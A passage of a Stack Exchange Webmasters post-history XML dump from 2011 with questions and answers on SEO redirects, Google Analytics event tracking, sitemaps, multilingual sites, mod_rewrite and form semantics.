  <row Id="18711" PostHistoryTypeId="2" PostId="8624" RevisionGUID="2485d9e6-b096-44da-8628-38e7c45e6452" CreationDate="2011-02-02T16:04:51.323" UserId="1429" Text="If you are changing domain and/or the pages URLs of your websites, yes there considerations to make about SEO.&#xD;&#xA;&#xD;&#xA;You should redirect 301 all the old URLs of pages from the old website to the new website's URLs.&#xD;&#xA;&#xD;&#xA;Read this similar question and answer: http://webmasters.stackexchange.com/questions/6546/moving-from-a-static-site-to-a-cms-with-new-urls-and-meta-data-for-pages&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18712" PostHistoryTypeId="5" PostId="7524" RevisionGUID="5c978231-fe0f-49ad-9f9c-0cbd309addca" CreationDate="2011-02-02T16:46:17.447" UserId="1064" Comment="Update to account for yc01's suggestion" Text="Yes, you can track just about anything using Google Analytics' [Event Tracking][1] - here's how you might do it for the two cases of (a) showing a link and (b) a user clicking the link:&#xD;&#xA;&#xD;&#xA;(a) Track showing the link&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;        _gaq.push(['_trackEvent', 'Links', 'Shown', 'http://www.a.com/']);&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;(b) Track user clicking the link&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.a.com/&quot; onclick=&quot;javascript:_gaq.push(['_trackEvent', 'Links', 'Clicked', 'http://www.a.com/']); return true;&quot;&gt;...&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Of course, given that you probably *don't* want to hard-code for both of these Javascript events, you can use a handy Javascript function to do all the work for you when links have a specific class - I like to use [jQuery][2], so here's a quick example:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    /*&#xD;&#xA;      ... assuming jQuery has been loaded and you're using the&#xD;&#xA;          standard Google Analytics Asynchronous tracking snippet&#xD;&#xA;    &#xD;&#xA;          URL: http://code.google.com/apis/analytics/docs/tracking/asyncTracking.html&#xD;&#xA;    */&#xD;&#xA;    $(document).ready(function() {&#xD;&#xA;        if ( $('a.tracked').length ) {&#xD;&#xA;            $('a.tracked').each(function() {&#xD;&#xA;        		_gaq.push(['_trackEvent', 'Links', 'Shown', $(this).attr('href')]);&#xD;&#xA;        		$(this).bind( 'click', function() {&#xD;&#xA;        			_gaq.push(['_trackEvent', 'Links', 'Clicked', $(this).attr('href')]);&#xD;&#xA;        			return true;&#xD;&#xA;        		});&#xD;&#xA;            });&#xD;&#xA;        }&#xD;&#xA;    });&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;... and then every link with `class=&quot;tracked&quot;` should be tracked accordingly.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Update:** New code, but sure - you could even specify which group a link belongs to and track the group instead:&#xD;&#xA;&#xD;&#xA;	&lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;		$(document).ready(function() {&#xD;&#xA;			if ( $('a.tracked').length ) {&#xD;&#xA;				$('a.tracked').each(function() {&#xD;&#xA;					var groupRegExp =/group([a-zA-Z])/i;&#xD;&#xA;					var group = groupRegExp.exec( $(this).attr('class') );&#xD;&#xA;					if (&#xD;&#xA;						( !group ) ||&#xD;&#xA;						( !group.length )&#xD;&#xA;					) {&#xD;&#xA;						var group = &quot;groupUnknown&quot;;&#xD;&#xA;					} else {&#xD;&#xA;						var group = group[0];&#xD;&#xA;					}&#xD;&#xA;					_gaq.push(['_trackEvent', 'Links', 'Shown', group]);&#xD;&#xA;					$(this).bind( 'click', function() {&#xD;&#xA;						_gaq.push(['_trackEvent', 'Links', 'Clicked', group]);&#xD;&#xA;						return true;&#xD;&#xA;					});&#xD;&#xA;				});&#xD;&#xA;			}&#xD;&#xA;		});&#xD;&#xA;	&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;... which should work for `class=&quot;tracked groupA&quot;`, `class=&quot;groupA tracked&quot;`, etc.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Update x2:**&#xD;&#xA;&#xD;&#xA;... and to account for the behavior which yc01 mentioned, a slight modification to the function bound to tracked anchor tags:&#xD;&#xA;&#xD;&#xA;					$(this).bind( 'click', function() {&#xD;&#xA;						_gaq.push(['_trackEvent', 'Links', 'Clicked', group]);&#xD;&#xA;						setTimeout('document.location = &quot;' + $(this).attr('href') + '&quot;', 100)&#xD;&#xA;						return false;&#xD;&#xA;					});&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/eventTrackerGuide.html&#xD;&#xA;  [2]: http://jquery.com/" />
  <row Id="18713" PostHistoryTypeId="2" PostId="8625" RevisionGUID="3e505042-e924-41f1-a3eb-e0c7cc48769a" CreationDate="2011-02-02T16:51:02.370" UserDisplayName="user5109" Text="On Godaddy.com scroll to the bottom and click &quot;legal&quot;.  From there locate copyright infringement claims.  They'll explain what you need to include in your claim which you must follow to the letter.  Then email your claim to them using the included email address.  Make sure you include all the information necessary or your claim will be delayed.  Do note that Godaddy.com is very slow at times with responding to claims.  Some of our past claims have taken from 1 day to 2 weeks to get resolved; so start now.  Hope this helps.  Good Luck!" />
  <row Id="18714" PostHistoryTypeId="2" PostId="8626" RevisionGUID="2859ab2d-e0ad-46b6-93ff-4100f8583fbc" CreationDate="2011-02-02T16:58:44.150" UserId="343" Text="I think you are on the right track here.  There are a few ways I've seen this done:&#xD;&#xA;&#xD;&#xA;1. Have the `www.domain.com/index.html` page be a simple language selection page with only links to the `en` and `es` home pages.  Personally I find this annoying, but I still see it all the time.&#xD;&#xA;&#xD;&#xA;2. Just sent everyone to the english version and have a link from there to the spanish version.  This is probably the best option if a large percentage of your users will be english speaking.&#xD;&#xA;&#xD;&#xA;3. Attempt to auto-detect language in some server side code, probably by looking at the `Accept-Language` header to see which language the user prefers, then send them to the appropriate page." />
  <row Id="18715" PostHistoryTypeId="25" PostId="8623" RevisionGUID="0230db24-78e7-4b01-96e0-c14151b4816a" CreationDate="2011-02-02T17:16:32.040" Comment="http://twitter.com/#!/StackWebmasters/status/32849861304909824" />
  <row Id="18716" PostHistoryTypeId="2" PostId="8627" RevisionGUID="51b10f1f-90cd-4d26-aaf1-1c23336f4c47" CreationDate="2011-02-02T18:47:10.197" UserId="5112" Text="Most of the big companies got included sitemap at the bottom of thier site. e.g. Piriform / PCTools. I would like to know if there's reason why to put the sitemap above the copyright&#xD;&#xA;&#xD;&#xA;or they just put it above the copyright because they think its nicer?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="18717" PostHistoryTypeId="1" PostId="8627" RevisionGUID="51b10f1f-90cd-4d26-aaf1-1c23336f4c47" CreationDate="2011-02-02T18:47:10.197" UserId="5112" Text="Where should sitemap be? (not separate sitemap file)" />
  <row Id="18718" PostHistoryTypeId="3" PostId="8627" RevisionGUID="51b10f1f-90cd-4d26-aaf1-1c23336f4c47" CreationDate="2011-02-02T18:47:10.197" UserId="5112" Text="&lt;html&gt;&lt;php&gt;&lt;search-engines&gt;&lt;sitemap&gt;" />
  <row Id="18719" PostHistoryTypeId="2" PostId="8628" RevisionGUID="e7d91457-2e9f-435c-84d8-7e952241a113" CreationDate="2011-02-02T18:53:28.973" UserId="67" Text="My company is creating a web portal that is designed to put relevant local geographic data in front of our users. Aside from using IP addresses, which are increasingly becoming less reliable as a geotargeting device, what options do we have?&#xD;&#xA;&#xD;&#xA;Of the top of my head, there is the new Javascript/HTML5 Geolocation API as used in Safari for iPhone, but are there other methods?" />
  <row Id="18720" PostHistoryTypeId="1" PostId="8628" RevisionGUID="e7d91457-2e9f-435c-84d8-7e952241a113" CreationDate="2011-02-02T18:53:28.973" UserId="67" Text="Options for geotargeting content" />
  <row Id="18721" PostHistoryTypeId="3" PostId="8628" RevisionGUID="e7d91457-2e9f-435c-84d8-7e952241a113" CreationDate="2011-02-02T18:53:28.973" UserId="67" Text="&lt;ip-address&gt;&lt;geolocation&gt;&lt;geotargeting&gt;" />
  <row Id="18722" PostHistoryTypeId="2" PostId="8629" RevisionGUID="6dcd8c68-e11f-4b0e-aef0-d599de2cfa97" CreationDate="2011-02-02T19:04:07.230" UserId="1253" Text="Of all things on the page the copyright is probably the least useful thing to a user. Yes, it's important to have from a legal standpoint, but it's not going to be useful to almost everyone who visits the site since they are there for content, not the copyright notice.&#xD;&#xA;&#xD;&#xA;Where you choose to put your sitemap will depend on how you wish your site to appear and be used. If you only have a small set of pages that need to be included in a sitemap, or a small set of &quot;main&quot; pages, then a sitemap in the footer is a good idea as it is very easy for users to find and also has benefits for SEO (think internal linking). If you have a lot of content that needs to be placed into a sitemap then having a dedicated page for it is probably the way to go. If you have a bunch of &quot;main&quot; pages and then a lot of sub-pages beneath them then a combination of footer sitemap and standalone sitemap might be the way to go." />
  <row Id="18723" PostHistoryTypeId="6" PostId="8627" RevisionGUID="3e43a904-f7f4-401e-9bc1-734842a98ede" CreationDate="2011-02-02T19:04:29.240" UserId="1253" Comment="Removed &quot;html php search-engines&quot; tags" Text="&lt;sitemap&gt;" />
  <row Id="18724" PostHistoryTypeId="2" PostId="8630" RevisionGUID="e125ab01-0133-4ede-837c-43b204a37296" CreationDate="2011-02-02T20:12:39.157" UserId="5116" Text="We have a site that has four &quot;streams&quot; for language and each language has different content based on that language and location (US English, Spanish, Canadian English and Canadian French).&#xD;&#xA;I'm wondering if I have to set up accounts for each stream so that we can see just the information from that stream, or do I use one account and somehow tell GA to separate the different streams based on language.&#xD;&#xA;For example, the US English site starts at (/en/) while the Canadian English site starts at (/ca_en/), etc." />
  <row Id="18725" PostHistoryTypeId="1" PostId="8630" RevisionGUID="e125ab01-0133-4ede-837c-43b204a37296" CreationDate="2011-02-02T20:12:39.157" UserId="5116" Text="What to do with a site that has multiple languages in Google Analytics..." />
  <row Id="18726" PostHistoryTypeId="3" PostId="8630" RevisionGUID="e125ab01-0133-4ede-837c-43b204a37296" CreationDate="2011-02-02T20:12:39.157" UserId="5116" Text="&lt;google-analytics&gt;" />
  <row Id="18727" PostHistoryTypeId="25" PostId="8627" RevisionGUID="283a6bb2-cbff-4f44-80ab-10cb783ee888" CreationDate="2011-02-02T20:16:31.667" Comment="http://twitter.com/#!/StackWebmasters/status/32895158538207232" />
  <row Id="18728" PostHistoryTypeId="2" PostId="8631" RevisionGUID="b61598ec-16ab-425b-8967-0f723846251a" CreationDate="2011-02-02T20:27:00.393" UserId="5077" Text="Even though you're new to this, a suggest I'd do is to use a PHP script to handle this.&#xD;&#xA;&#xD;&#xA;You can use `mod_rewrite` to rewrite the urls `/en/`, `/es/`, etc. to say `language.php?lang=en`, set a cookie for the language, and redirect back to index.php or even `mod_rewrite` back to `/en/index.php`.&#xD;&#xA;&#xD;&#xA;Otherwise, [@Eric Petroelje][1]'s answer is your best bet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/8580/how-do-you-set-up-the-directory-structure-for-a-multilingual-site-without-duplica/8626#8626" />
  <row Id="18729" PostHistoryTypeId="5" PostId="4523" RevisionGUID="67f1e3f5-0998-420c-8efa-c4c5e71cc08c" CreationDate="2011-02-02T20:55:51.693" UserId="5108" Comment="fixed some typos" Text="I usually don't put the logo or site title in an H1. The way I like to look at it is that each page is a document. That document is about a particular subject, as reflected in the page title and also the main heading. The website itself is just the publisher of the document. So, semantically, it's incorrect to use the site logo or name as the main heading of each page. Logos are displayed prominently to remind the user where they are and for branding purposes, but they're not actually part of the content or document.&#xD;&#xA;&#xD;&#xA;I mean, when you watch a news story you might see a little news channel logo in the corner, but the news story isn't going to be titled &quot;CNN&quot; or &quot;BBC News&quot;. The headline will be about the story, not the network publishing the story. Likewise, when you read a magazine, only the article title is used in the heading, not the name of the publication.&#xD;&#xA;&#xD;&#xA;It's also semantically incorrect to use an H1 tag for the logo/site name and one for the document title. Headings define the hierarchical structure of the content on the page; using one for the site name and another for the document title is like saying, this page has 2 main sections: &quot;mydomain.com&quot; and &quot;contact us&quot;." />
  <row Id="18730" PostHistoryTypeId="24" PostId="4523" RevisionGUID="2baaa29f-34c9-4c68-a1fe-12ba82ec3bc9" CreationDate="2011-02-02T20:55:51.693" Comment="Proposed by 5108 approved by 1253 edit id of 4" />
  <row Id="18731" PostHistoryTypeId="10" PostId="8584" RevisionGUID="44f5e02d-dc2b-48d8-993b-e911b803131f" CreationDate="2011-02-02T20:56:22.440" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18732" PostHistoryTypeId="10" PostId="8623" RevisionGUID="5d07a6af-2b58-4902-89c9-55c4fb3cde8d" CreationDate="2011-02-02T20:58:12.610" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18733" PostHistoryTypeId="5" PostId="8630" RevisionGUID="b518f3ad-aad7-4392-aac0-5107f142091e" CreationDate="2011-02-02T21:16:35.987" UserId="5116" Comment="deleted 6 characters in body" Text="We have a site that has four &quot;streams&quot; for language and each language has different content based on that language and location (US English, Spanish, Canadian English and Canadian French).&#xD;&#xA;I'm wondering if I have to set up accounts for each stream so that we can see the stats from each stream only, or do I use one account and somehow tell GA to separate the different streams based on language.&#xD;&#xA;For example, the US English site starts at (/en/) while the Canadian English site starts at (/ca_en/), etc." />
  <row Id="18734" PostHistoryTypeId="5" PostId="8631" RevisionGUID="b01a22c0-f493-436c-a84b-f93551293caa" CreationDate="2011-02-02T21:58:32.873" UserId="5077" Comment="Typo" Text="Even though you're new to this, I suggest I'd do is to use a PHP script to handle this.&#xD;&#xA;&#xD;&#xA;You can use `mod_rewrite` to rewrite the urls `/en/`, `/es/`, etc. to say `language.php?lang=en`, set a cookie for the language, and redirect back to index.php or even `mod_rewrite` back to `/en/index.php`.&#xD;&#xA;&#xD;&#xA;Otherwise, [@Eric Petroelje][1]'s answer is your best bet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/8580/how-do-you-set-up-the-directory-structure-for-a-multilingual-site-without-duplica/8626#8626" />
  <row Id="18735" PostHistoryTypeId="2" PostId="8632" RevisionGUID="32454191-0dd0-42b0-b6db-87d5042e36aa" CreationDate="2011-02-02T22:37:34.713" UserDisplayName="user5120" Text="When a user tries to share a page with an embedded video on it only the title of the pages shows up on their facebook status and not the flash video player. This happens while sharing with the addthis button or if the url is posted directly to the facebook page. Any idea how I can make facebook pickup the embedded flash video?" />
  <row Id="18736" PostHistoryTypeId="1" PostId="8632" RevisionGUID="32454191-0dd0-42b0-b6db-87d5042e36aa" CreationDate="2011-02-02T22:37:34.713" UserDisplayName="user5120" Text="Wordpress: Facebook Share button wont recognize embedded video" />
  <row Id="18737" PostHistoryTypeId="3" PostId="8632" RevisionGUID="32454191-0dd0-42b0-b6db-87d5042e36aa" CreationDate="2011-02-02T22:37:34.713" UserDisplayName="user5120" Text="&lt;facebook&gt;&lt;youtube&gt;" />
  <row Id="18738" PostHistoryTypeId="2" PostId="8633" RevisionGUID="cbab15aa-f0b6-4fae-a40b-3b3cd70d796e" CreationDate="2011-02-02T22:50:56.433" UserId="1564" Text="I'm currently not using any sort of fancy stat tracking software such as feedburner, but I occasionally look at Google's stats in their [Webmaster Tools][1] just to get a rough idea of whether the number of subscribers is going up or down. This only gives the number of users subscribed through Google products, as they explain in their [help documents][2]:&#xD;&#xA;&#xD;&#xA;&gt; Subscriber stats display the number of Google users who have subscribed to your feeds using any Google product (such as Reader, iGoogle, or Orkut). Because users can subscribe to feeds using many different aggregators or RSS readers, the actual number of subscribers to your site may be higher.&#xD;&#xA;&#xD;&#xA;I used to use Google Reader very regularly but haven't opened it in a while now. The way I understand it, this will mean that even though I haven't touched any of those feeds in a long time I'm still technically subscribed to them and will therefore be included in Google's statistic. &#xD;&#xA;&#xD;&#xA;Is this correct? Also since Google runs Feedburner, does this have any effect on their stats as well?&#xD;&#xA;&#xD;&#xA;[1]: https://www.google.com/webmasters/tools/home?hl=en&#xD;&#xA;[2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=73026" />
  <row Id="18739" PostHistoryTypeId="1" PostId="8633" RevisionGUID="cbab15aa-f0b6-4fae-a40b-3b3cd70d796e" CreationDate="2011-02-02T22:50:56.433" UserId="1564" Text="Do Google's feed statistics include former users?" />
  <row Id="18740" PostHistoryTypeId="3" PostId="8633" RevisionGUID="cbab15aa-f0b6-4fae-a40b-3b3cd70d796e" CreationDate="2011-02-02T22:50:56.433" UserId="1564" Text="&lt;google&gt;&lt;statistics&gt;&lt;feeds&gt;" />
  <row Id="18741" PostHistoryTypeId="2" PostId="8634" RevisionGUID="45d881dc-1beb-4b1e-b834-6f3723313cd5" CreationDate="2011-02-02T22:57:37.847" UserId="5117" Text="You may use five profiles, one is general for all the site and gives you the overall statistics, the others four are filters.&#xD;&#xA;&#xD;&#xA;They show only the content in the filtered language (/en, /ca_en, ...)&#xD;&#xA;&#xD;&#xA;[Google Analytics Profiles][1]&#xD;&#xA;&#xD;&#xA;Hope this help!&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/topic.py?topic=11099 &quot;Managin profiles&quot;" />
  <row Id="18742" PostHistoryTypeId="25" PostId="8630" RevisionGUID="2059636d-60fc-4bc9-b428-cebdbfa716e4" CreationDate="2011-02-02T23:16:32.027" Comment="http://twitter.com/#!/StackWebmasters/status/32940458275512321" />
  <row Id="18746" PostHistoryTypeId="2" PostId="8636" RevisionGUID="8834e7a2-970d-4059-b001-41f5b527a5cc" CreationDate="2011-02-03T02:09:28.230" UserDisplayName="user5121" Text="I am a us citizen based in the us. I would like to register a co.uk domain. Do I need to be a uk citizen or have some other sort of connection to the uk to register that domain?&#xD;&#xA;&#xD;&#xA;For instance, .ca (canada) requires this and that is why I ask.&#xD;&#xA;&#xD;&#xA;thx" />
  <row Id="18747" PostHistoryTypeId="1" PostId="8636" RevisionGUID="8834e7a2-970d-4059-b001-41f5b527a5cc" CreationDate="2011-02-03T02:09:28.230" UserDisplayName="user5121" Text="does co.uk domains need a uk citizen?" />
  <row Id="18748" PostHistoryTypeId="3" PostId="8636" RevisionGUID="8834e7a2-970d-4059-b001-41f5b527a5cc" CreationDate="2011-02-03T02:09:28.230" UserDisplayName="user5121" Text="&lt;domains&gt;&lt;domain-registration&gt;&lt;country-specific&gt;" />
  <row Id="18749" PostHistoryTypeId="25" PostId="8628" RevisionGUID="b4b6473c-fef1-4496-acd7-9518eea58d44" CreationDate="2011-02-03T02:16:32.590" Comment="http://twitter.com/#!/StackWebmasters/status/32985759124299777" />
  <row Id="18750" PostHistoryTypeId="17" PostId="8638" RevisionGUID="f8ed43c8-4a94-4670-b85a-da84126c3c52" CreationDate="2011-02-03T02:38:01.423" UserId="-1" Comment="from http://serverfault.com/questions/230259/question-about-mod-rewrite-rule-for-redirecting-failing-pages/230373#230373" Text="" />
  <row Id="18751" PostHistoryTypeId="17" PostId="8639" RevisionGUID="5d94053b-b891-471b-94b6-3a27f76f4fc7" CreationDate="2011-02-03T02:38:01.423" UserId="-1" Comment="from http://serverfault.com/questions/230259/question-about-mod-rewrite-rule-for-redirecting-failing-pages/230468#230468" Text="" />
  <row Id="18752" PostHistoryTypeId="2" PostId="8638" RevisionGUID="d085a849-5b4d-406c-9af8-b3e1efa6ee02" CreationDate="2011-02-02T21:09:03.487" UserDisplayName="alvosu" Text="Very strange. In FF you can use [Firebug][1] or [Tamper Data][2] for debug. Also see source code(Ctrl+U) and click to stylesheet link in it. Also see Error Console(Cntl+Shift+j).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://getfirebug.com/&#xD;&#xA;  [2]: https://addons.mozilla.org/ru/firefox/addon/tamper-data/" />
  <row Id="18753" PostHistoryTypeId="2" PostId="8639" RevisionGUID="fec185d4-f358-4798-a407-7db138b087a2" CreationDate="2011-02-03T02:08:16.357" UserDisplayName="Redmumba" Text="If you're talking about WordPress, it may already be using redirects so that `REQUEST_URI` is not being set to what you expect--and is, thus, failing.  For example, if its accessing `?page_id=100`, then the request URI may, in fact, be an empty string.  Even though it may be using `index.php` behind the scenes, at the time of your conditional, its likely not being set.&#xD;&#xA;&#xD;&#xA;You can turn on [mod_rewrite debugging][1] to see the different steps the pattern matching makes, and I highly suggest you do so if you want to find out what's going on.  :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewritelog" />
  <row Id="18754" PostHistoryTypeId="2" PostId="8637" RevisionGUID="c801ffa7-30c2-408e-a37e-565d615fe852" CreationDate="2011-02-02T17:10:23.823" UserDisplayName="SimpleCoder" Text="I'm setting up a `mod_rewrite` rule that redirects failing pages to a custom Page Not Found page. This is with Wordpress. I'm using the guide here: http://httpd.apache.org/docs/2.2/rewrite/rewrite_guide_advanced.html#redirect404. My rule so far looks like this:&#xD;&#xA;&#xD;&#xA;    RewriteCond   %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule   ^(.+)   http://example.com/?page_id=254 [R]&#xD;&#xA;&#xD;&#xA;This works. It seems to be a combination of the first and second suggestion that worked, since the `-U` flag did nothing. &#xD;&#xA;&#xD;&#xA;My question is, out of curiosity why the following happens: When I change `REQUEST_FILENAM`E to `REQUEST_URI` (as the second example suggests), the page loads, but none of the style sheets load. All of my formatting is gone, and this happens on every page. Can anyone think of why this might happen?" />
  <row Id="18755" PostHistoryTypeId="1" PostId="8637" RevisionGUID="c801ffa7-30c2-408e-a37e-565d615fe852" CreationDate="2011-02-02T17:10:23.823" UserDisplayName="SimpleCoder" Text="Question about mod_rewrite rule for redirecting failing pages" />
  <row Id="18756" PostHistoryTypeId="3" PostId="8637" RevisionGUID="c801ffa7-30c2-408e-a37e-565d615fe852" CreationDate="2011-02-02T17:10:23.823" UserDisplayName="SimpleCoder" Text="&lt;apache&gt;&lt;mod-rewrite&gt;&lt;wordpress&gt;" />
  <row Id="18757" PostHistoryTypeId="17" PostId="8637" RevisionGUID="ac72e908-3fbb-4453-b45e-07cd78bda624" CreationDate="2011-02-03T02:38:01.423" UserId="-1" Comment="from http://serverfault.com/questions/230259/question-about-mod-rewrite-rule-for-redirecting-failing-pages" Text="" />
  <row Id="18758" PostHistoryTypeId="17" PostId="8641" RevisionGUID="adbf9d2f-e573-46d4-bdad-a5b9595375dc" CreationDate="2011-02-03T02:38:25.040" UserId="-1" Comment="from http://serverfault.com/questions/230041/where-to-buy-ha-domain-extesion/230044#230044" Text="" />
  <row Id="18759" PostHistoryTypeId="17" PostId="8642" RevisionGUID="8788c442-972c-4669-a318-95e82db15ecb" CreationDate="2011-02-03T02:38:25.040" UserId="-1" Comment="from http://serverfault.com/questions/230041/where-to-buy-ha-domain-extesion/230047#230047" Text="" />
  <row Id="18760" PostHistoryTypeId="2" PostId="8641" RevisionGUID="93cb64d3-761e-475a-9a81-28a72b64dae3" CreationDate="2011-02-02T09:45:35.507" UserDisplayName="Chopper3" Text="It [doesn't exist][1] sorry&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/List_of_Internet_top-level_domains" />
  <row Id="18761" PostHistoryTypeId="2" PostId="8642" RevisionGUID="8c68dbb7-ff96-4a26-8181-8088f4b7b498" CreationDate="2011-02-02T09:48:06.330" UserId="9681" UserDisplayName="poige" Text="&gt; Is there any website/service&#xD;&#xA;&#xD;&#xA;Here it is: http://www.iana.org/" />
  <row Id="18762" PostHistoryTypeId="2" PostId="8640" RevisionGUID="1c4b1094-8239-4e9d-8b7e-dc63abb7a2a4" CreationDate="2011-02-02T09:39:29.447" UserDisplayName="khelll" Text="Is there any website/service that I can get .ha domain extension?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18763" PostHistoryTypeId="1" PostId="8640" RevisionGUID="1c4b1094-8239-4e9d-8b7e-dc63abb7a2a4" CreationDate="2011-02-02T09:39:29.447" UserDisplayName="khelll" Text="Where to buy .ha domain extesion?" />
  <row Id="18764" PostHistoryTypeId="3" PostId="8640" RevisionGUID="1c4b1094-8239-4e9d-8b7e-dc63abb7a2a4" CreationDate="2011-02-02T09:39:29.447" UserDisplayName="khelll" Text="&lt;domains&gt;&lt;web-hosting&gt;" />
  <row Id="18765" PostHistoryTypeId="17" PostId="8640" RevisionGUID="a5545264-76d6-4d95-829a-e5dc4891ecc4" CreationDate="2011-02-03T02:38:25.040" UserId="-1" Comment="from http://serverfault.com/questions/230041/where-to-buy-ha-domain-extesion" Text="" />
  <row Id="18766" PostHistoryTypeId="2" PostId="8643" RevisionGUID="41d38bad-aecc-4d6c-8870-e37e76519e4b" CreationDate="2011-02-03T02:44:39.477" UserId="5108" Text="For a page title, what's the best way to add the state to the page title for SEO purposes?&#xD;&#xA;&#xD;&#xA;For example, should it be:&#xD;&#xA;&#xD;&#xA;&quot;Central Pennsylvania Shoe Repair&quot;&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;&quot;Central PA Shoe Repair&quot;&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;&quot;Central Pennsylvania PA Shoe Repair&quot;&#xD;&#xA;&#xD;&#xA;I want it to be searchable and discoverable but is the last too redundant?" />
  <row Id="18767" PostHistoryTypeId="1" PostId="8643" RevisionGUID="41d38bad-aecc-4d6c-8870-e37e76519e4b" CreationDate="2011-02-03T02:44:39.477" UserId="5108" Text="what's the best way to add the state in a page title for seo" />
  <row Id="18768" PostHistoryTypeId="3" PostId="8643" RevisionGUID="41d38bad-aecc-4d6c-8870-e37e76519e4b" CreationDate="2011-02-03T02:44:39.477" UserId="5108" Text="&lt;seo&gt;&lt;title&gt;" />
  <row Id="18770" PostHistoryTypeId="5" PostId="8578" RevisionGUID="ba6b21d5-11fe-49a6-baf3-1f1b1d739878" CreationDate="2011-02-03T03:37:49.727" UserId="1847" Comment="Added link to the related question on UI SE." Text="I frequently receive mock-ups of HTML forms with the following prototype:&#xD;&#xA;&#xD;&#xA;Some long winded yes or no question? &amp;nbsp; (o) Yes &amp;nbsp; ( ) No&#xD;&#xA;&#xD;&#xA;The `(o)` and `( )` in this prototype represent radio buttons. My personal view is that if the question has only a true or false value then it should be a check box. That said, I have seen this sort of &quot;layout&quot; from almost every designer I've ever worked with.&#xD;&#xA;&#xD;&#xA;If I were not to question their decision, or question the client's decision, I'd probably mark it up like this:&#xD;&#xA;&#xD;&#xA;    &lt;p class=&quot;pseudo_label&quot;&gt;Some long winded yes or no question?&lt;/p&gt;&#xD;&#xA;    &lt;input type=&quot;radio&quot; name=&quot;the_question&quot; id=&quot;the_question_yes&quot; value=&quot;1&quot;&gt;&#xD;&#xA;    &lt;label for=&quot;the_question_yes&quot; class=&quot;after_radio&quot;&gt;Yes&lt;/label&gt;&#xD;&#xA;    &lt;input type=&quot;radio&quot; name=&quot;the_question&quot; id=&quot;the_question_no&quot; value=&quot;0&quot;&gt;&#xD;&#xA;    &lt;label for=&quot;the_question_no&quot; class=&quot;after_radio&quot;&gt;No&lt;/label&gt;&#xD;&#xA;&#xD;&#xA;I really don't want to do that. I want to push back and convince them that this should really be a check box and not two radio buttons. But my question is, if I can't convince them &amp;ndash; you're welcome to help me try &amp;ndash; how should I code that original design requirement such that it is semantic and at least understandable for screen reader users?&#xD;&#xA;&#xD;&#xA;If I were able to convince my tormentors to change their minds, I would likely code it in the following fashion:&#xD;&#xA;&#xD;&#xA;    &lt;label for=&quot;the_question&quot;&gt;Some long winded yes or no question?&lt;/label&gt;&#xD;&#xA;    &lt;input type=&quot;checkbox&quot; name=&quot;the_question&quot; id=&quot;the_question&quot; value=&quot;1&quot;&gt;&#xD;&#xA;&#xD;&#xA;What do you think about this issue? Should I push back? Possibly more importantly is either way semantically correct?&#xD;&#xA;&#xD;&#xA;**UPDATE**: I have posted a related question on the UI SE per your suggestions. You can find it here: http://ui.stackexchange.com/questions/3335/how-yes-or-no-questions-should-be-represented-in-forms" />
  <row Id="18771" PostHistoryTypeId="2" PostId="8644" RevisionGUID="82007ffc-5887-4988-b752-a803f891899d" CreationDate="2011-02-03T03:54:43.370" UserId="1253" Text="Use the Google Adwords Tool to see what people are actually typing in. Also, Google is smart enough to know PA is the same as Pennsylvania so the difference won't be much regardless of which is more popular." />
  <row Id="18772" PostHistoryTypeId="25" PostId="8643" RevisionGUID="4783dee5-48d2-4f79-8f52-1eaec1bfcbbb" CreationDate="2011-02-03T05:16:32.967" Comment="http://twitter.com/#!/StackWebmasters/status/33031059591401472" />
  <row Id="18773" PostHistoryTypeId="2" PostId="8645" RevisionGUID="a063870d-bee2-4cc5-b042-4c76ae535452" CreationDate="2011-02-03T05:26:52.953" UserId="4142" Text="While your checkbox idea is much more efficient, I think you would have to avoid stating it as a question for it to make sense. For instance:&#xD;&#xA;&#xD;&#xA;    &lt;label for=&quot;the_question&quot;&gt;I would answer yes to this long winded question.&lt;/label&gt;&#xD;&#xA;    &lt;input type=&quot;checkbox&quot; name=&quot;the_question&quot; id=&quot;the_question&quot; value=&quot;1&quot;&gt;&#xD;&#xA;&#xD;&#xA;However, if your designers are dead set on keeping the radio button model, I think using the `fieldset` tag makes much more semantic sense.&#xD;&#xA;&#xD;&#xA;    &lt;fieldset&gt;&#xD;&#xA;      &lt;legend&gt;Some long winded yes or no question?&lt;/legend&gt;&#xD;&#xA;      &lt;input type=&quot;radio&quot; name=&quot;the_question&quot; id=&quot;the_question_yes&quot; value=&quot;1&quot;&gt;&#xD;&#xA;      &lt;label for=&quot;the_question_yes&quot; 